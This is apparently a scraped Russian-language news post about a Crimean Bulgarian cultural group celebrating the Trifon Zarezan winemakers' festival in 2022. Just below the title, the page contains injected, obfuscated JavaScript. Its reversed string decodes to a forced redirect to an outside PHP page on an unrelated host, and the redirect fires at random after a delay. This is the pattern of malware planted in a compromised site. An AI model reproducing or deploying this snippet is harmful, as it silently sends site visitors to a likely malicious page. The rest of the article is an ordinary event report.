Народный болгарский праздник «Трифон Зарезан»

) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom_class=»]

19 февраля 2022 года состоялось мероприятие «Народный болгарский праздник «Трифон Зарезан». Святой Трифон в Болгарии почитается как небесный покровитель виноградарей и виноделов, именно поэтому посвящённое ему торжество является одним из важнейших событий в народном календаре болгар, проживающих на Крымском полуострове.

С учётом антивирусных ограничений представители Региональной национально-культурной автономии Республики Крым «Паисия Хилендарского» отметили праздник в узком кругу, но по-семейному тепло и весело. Гости культурного центра «Извор» насладились баницей, кавармой, брынзой, вином и другими традиционными деликатесами болгарской кухни.

Перед застольем активисты организации провели первую обрезку винограда, обращаясь с молитвой к Святому Трифону. Затем, по старинному обычаю, 7 Царей Виноделия получили памятные подарки — шахматные наборы, для популяризации самой древней и мудрой игры в мире!

И, конечно же, на празднике присутствовали народные песни и болгарский юмор! Приятным подарком стали поздравления из Болгарии от В. Сидерова — руководителя парламентской делегации, первой из Евросоюза посетившей Крым, который в 2015-м на один год был избран Царем крымских виноделов, как того требует древняя традиция.

Поздравляем всех работников виноградарства и виноделия с профессиональным праздником! Ждём от Святого Трифона богатого осеннего урожая и достатка в нашем общем крымском доме! Честит Трифон Зарезан!